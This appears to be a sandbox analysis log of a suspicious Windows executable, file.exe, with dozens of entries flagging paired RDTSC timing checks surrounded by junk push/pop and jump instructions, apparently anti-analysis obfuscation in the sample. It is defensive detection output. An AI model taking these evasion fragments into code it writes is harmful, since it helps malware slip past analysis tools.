Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D042 second address: 67D059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F93256ABCBEh 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D059 second address: 67D05F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D05F second address: 67D07B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jo 00007F93256ABCCAh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D07B second address: 67D07F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D07F second address: 67D085 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D31B second address: 67D320 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D320 second address: 67D326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E1D7 second address: 67E1DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C232 second address: 67C241 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C241 second address: 67C251 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F9324C341CEh 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C251 second address: 67C255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C255 second address: 67C25B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C25B second address: 67C25F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C25F second address: 67C285 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jbe 00007F9324C341C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9324C341D8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C285 second address: 67C289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682EF0 second address: 682EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682EF4 second address: 682F05 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jne 00007F93256ABCB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push ecx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686E13 second address: 686E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9324C341D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686E2A second address: 686E2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686E2E second address: 686E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jg 00007F9324C341C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686E3D second address: 686E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F93256ABCC9h 0x0000000b jns 00007F93256ABCB6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687002 second address: 687006 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687006 second address: 68701A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F93256ABCBAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68701A second address: 68701E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68701E second address: 687022 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693731 second address: 693741 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9324C341C6h 0x00000008 jne 00007F9324C341C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693741 second address: 693768 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F93256ABCBEh 0x0000000a jmp 00007F93256ABCBAh 0x0000000f popad 0x00000010 pushad 0x00000011 jl 00007F93256ABCB6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693768 second address: 69376E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3FEE second address: 5C3FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6932D0 second address: 6932DA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9324C341E3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6932DA second address: 6932FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F93256ABCC7h 0x00000009 push ebx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6954F9 second address: 695517 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9324C341D8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69564A second address: 695655 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695655 second address: 695677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9324C341C6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c jng 00007F9324C341C6h 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 je 00007F9324C341CAh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695677 second address: 69567C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3898 second address: 6A389C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A389C second address: 6A38A9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F93256ABCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A38A9 second address: 6A38AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A38AF second address: 6A38B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A38B4 second address: 6A38C2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9324C341C8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A73F1 second address: 6A73F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A73F7 second address: 6A7410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9324C341CCh 0x00000009 popad 0x0000000a jng 00007F9324C341C8h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7410 second address: 6A7416 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0759 second address: 6B0764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0764 second address: 6B076E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B076E second address: 6B0774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0774 second address: 6B0778 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B08D9 second address: 6B08E5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9324C341C6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B08E5 second address: 6B08FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F93256ABCB6h 0x0000000a jmp 00007F93256ABCBCh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0A5B second address: 6B0A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0A5F second address: 6B0A7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0A7A second address: 6B0A82 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0C0A second address: 6B0C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F93256ABCB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0C14 second address: 6B0C1E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9324C341C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0D7B second address: 6B0D7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0D7F second address: 6B0D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0D85 second address: 6B0D9C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F93256ABCBEh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B118A second address: 6B119C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9324C341C6h 0x0000000a popad 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4EFE second address: 6B4F18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F93256ABCC3h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4BF4 second address: 6B4BF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4BF8 second address: 6B4C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F93256ABCBBh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4C0B second address: 6B4C28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F9324C341D4h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0403 second address: 6C041B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F93256ABCBDh 0x00000009 jp 00007F93256ABCB6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C041B second address: 6C042D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9324C341CCh 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C042D second address: 6C0431 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D07B1 second address: 6D07D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341D6h 0x00000007 ja 00007F9324C341C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ebx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D064A second address: 6D065E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F93256ABCB6h 0x0000000a pop esi 0x0000000b push ebx 0x0000000c jnc 00007F93256ABCB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D34F8 second address: 6D3511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9324C341D5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3511 second address: 6D3554 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F93256ABCBAh 0x00000008 pop edx 0x00000009 pushad 0x0000000a jmp 00007F93256ABCBDh 0x0000000f push esi 0x00000010 pop esi 0x00000011 jmp 00007F93256ABCC7h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push esi 0x0000001a jl 00007F93256ABCBEh 0x00000020 push eax 0x00000021 pop eax 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D324D second address: 6D325E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F9324C341CCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8238 second address: 6E82A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCBCh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F93256ABCC2h 0x00000011 pop eax 0x00000012 popad 0x00000013 pushad 0x00000014 jnc 00007F93256ABCBCh 0x0000001a pushad 0x0000001b jmp 00007F93256ABCC0h 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 pushad 0x00000024 jmp 00007F93256ABCC8h 0x00000029 jmp 00007F93256ABCBAh 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8BD3 second address: 6E8BDD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9324C341C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA9EE second address: 6EAA0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F93256ABCC3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC12C second address: 6EC130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC130 second address: 6EC139 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EECEB second address: 6EED07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D602A7 second address: 4D602AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D602AC second address: 4D602B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D602B2 second address: 4D602B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D602B6 second address: 4D602DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F9324C341CCh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D602DB second address: 4D602E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F93256ABCBAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D602E9 second address: 4D6030A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushad 0x0000000b mov eax, edx 0x0000000d jmp 00007F9324C341CFh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60362 second address: 4D60368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60368 second address: 4D6037B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9324C341CFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6037B second address: 4D603B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a mov dl, al 0x0000000c mov ch, bl 0x0000000e popad 0x0000000f mov dword ptr [esp], ebp 0x00000012 pushad 0x00000013 mov dl, ch 0x00000015 mov edx, 6D1D4742h 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007F93256ABCC2h 0x00000025 mov edx, esi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605C89 second address: 605C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60403 second address: 4D60427 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60427 second address: 4D6042B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6042B second address: 4D60431 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D604C1 second address: 4D604D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D604D0 second address: 4D604D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D604D6 second address: 4D604DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D604DA second address: 4D6051E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F93256ABCC9h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov bh, al 0x0000001a jmp 00007F93256ABCBFh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6051E second address: 4D605B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F9324C341D1h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jmp 00007F9324C341D1h 0x00000019 pop eax 0x0000001a jmp 00007F9324C341CEh 0x0000001f call 00007F9395447C46h 0x00000024 push 755727D0h 0x00000029 push dword ptr fs:[00000000h] 0x00000030 mov eax, dword ptr [esp+10h] 0x00000034 mov dword ptr [esp+10h], ebp 0x00000038 lea ebp, dword ptr [esp+10h] 0x0000003c sub esp, eax 0x0000003e push ebx 0x0000003f push esi 0x00000040 push edi 0x00000041 mov eax, dword ptr [75600140h] 0x00000046 xor dword ptr [ebp-04h], eax 0x00000049 xor eax, ebp 0x0000004b push eax 0x0000004c mov dword ptr [ebp-18h], esp 0x0000004f push dword ptr [ebp-08h] 0x00000052 mov eax, dword ptr [ebp-04h] 0x00000055 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000005c mov dword ptr [ebp-08h], eax 0x0000005f lea eax, dword ptr [ebp-10h] 0x00000062 mov dword ptr fs:[00000000h], eax 0x00000068 ret 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c mov bx, F770h 0x00000070 pushfd 0x00000071 jmp 00007F9324C341D9h 0x00000076 sbb cx, 88F6h 0x0000007b jmp 00007F9324C341D1h 0x00000080 popfd 0x00000081 popad 0x00000082 rdtsc
